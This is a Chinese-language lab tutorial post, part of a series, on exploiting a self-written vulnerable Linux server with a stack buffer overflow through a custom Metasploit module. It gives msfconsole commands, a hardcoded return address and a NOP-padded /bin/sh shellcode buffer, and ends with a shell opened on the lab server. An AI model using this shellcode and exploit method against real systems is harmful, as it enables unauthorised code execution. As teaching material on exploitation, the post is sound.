使用metasploit進行棧溢位攻擊-5
我們先嚐試使用這個指令碼進行攻擊:
msf > use exploit/linux/myvictim msf exploit(myvictim) > set payload linux/x86/ set payload linux/x86/metsvc_bind_tcp set payload linux/x86/shell_reverse_tcp2 set payload linux/x86/metsvc_reverse_tcp msf exploit(myvictim) > set payload linux/x86/metsvc_bind_tcp payload => linux/x86/metsvc_bind_tcp msf exploit(myvictim) > set rhost 10.10.10.133 rhost => 10.10.10.133 msf exploit(myvictim) > set rport 7777 rport => 7777 msf exploit(myvictim) > exploit [*] Started bind handler [*] Sending 116 byte payload... [*] Exploit completed, but no session was created.
server端顯示:
bai@ubuntu:/mnt/hgfs/r/stack$ ./server socket bind listen server is run... accept The IP of client is:10.10.10.128 The Port of client is:52308 close-new_fd 2 recv accept sp=0xbffff488,addr=0xbffff4a4 bytes.
顯然攻擊目的沒有,達到,具體原因有兩個(我認為的),第一是返回值部分不對,第二是payload本身是不是有問題
我們一一修改:
`MyVictimSever run on linux`, { `Platform` => `Linux`, `Ret` => 0xbffff4a4 }
第二,我們payload首先採用最先驗證過的執行/bin/sh的shellcode
# Build the buffer for transmission buf=""; buf = make_nops(15); buf+="xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" buf+="x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" buf+="x80xe8xdcxffxffxff/bin/sh"; #buf+="xa4xf4xffxbf" #buf += payload.encoded buf += [].fill( target.ret,0,100).pack(`V*`)
尤其注意最前我們補充的nop 指令的數量是15,我在這裡卡了很久,就是因為指令對齊問題,顯然32位平臺上,應該是四位元組對齊的。
然後執行
msf exploit(myvictim) > rexploit [*] Reloading module... [*] Started bind handler [*] Sending 116 byte payload... [*] Exploit completed, but no session was created.
注意這裡執行的是rexploit,這個表示重新載入模組,並執行,因為我剛剛修改過了。
可以看到server端:
The IP of client is:10.10.10.128 The Port of client is:47336 close-new_fd 2 accept recv sp=0xbffff488,addr=0xbffff4a4 bytes. $ $
這裡用的shellcode是自己生成的,沒有用payload.encoded,是因為我嘗試用payload,但是沒有任何反應,應該是編碼以後不能執行造成的。
相關文章
- Kernel Stack棧溢位攻擊及保護繞過
- 深入淺出CPU眼中的函式呼叫&棧溢位攻擊函式
- 【轉】strcpy溢位的攻擊示例
- StackOverFlowError(棧溢位)Error
- AFP溢位攻擊模組afp/loginext
- 棧溢位基礎
- [二進位制漏洞]棧(Stack)溢位漏洞 Linux篇Linux
- 使用Flash進行JSON CSRF攻擊JSON
- 阿里大佬講解Java記憶體溢位示例(堆溢位、棧溢位)阿里Java記憶體溢位
- 駭客中級技術--緩衝區溢位攻擊(轉)
- 樹莓派上使用Slowloris進行DDoS攻擊樹莓派
- 64位Linux下的棧溢位Linux
- 基於BIGINT溢位錯誤的SQL隱碼攻擊SQL
- 緩衝區溢位攻擊初學者手冊(更新版)
- 防溢位提升許可權攻擊解決辦法(轉)
- 棧溢位基礎及利用
- YoungzsoftCMailServer遠端棧溢位漏洞AIServer
- Java棧溢位|記憶體洩漏|記憶體溢位Java記憶體溢位
- 利用JSONP進行水坑攻擊JSON
- 溢位OF和進位CF區別
- 樹莓派上使用DHCPig進行DHCP池耗盡攻擊樹莓派
- Metasploit之後滲透攻擊(資訊收集、許可權提升)
- 記憶體和棧溢位問題定位記憶體
- 從CVE復現看棧溢位漏洞利用
- ASLR 是如何保護 Linux 系統免受緩衝區溢位攻擊的Linux
- pwntools緩衝區溢位與棧沒對齊
- 如何知道是否有人正在進行網路攻擊
- 二進位制漏洞挖掘之整數溢位
- 10進位制轉8進位制(棧操作)
- Python中的棧溢位及解決辦法Python
- Linux pwn入門教程(1)——棧溢位基礎Linux
- 記憶體溢位:native溢位 和 上層溢位記憶體溢位
- MetaSploit攻擊例項講解------攻擊445埠漏洞(kali linux 2016.2(rolling))(詳細)Linux
- 樹莓派上使用mdk3對無線熱點進行DoS攻擊樹莓派
- 記一次linux x64 的棧溢位Linux
- Re:從零開始的pwn學習(棧溢位篇)
- 記一次棧溢位異常問題的排查
- 看好你的門-XSS攻擊(2)-利用反射型XSS漏洞 進行鍼對性攻擊反射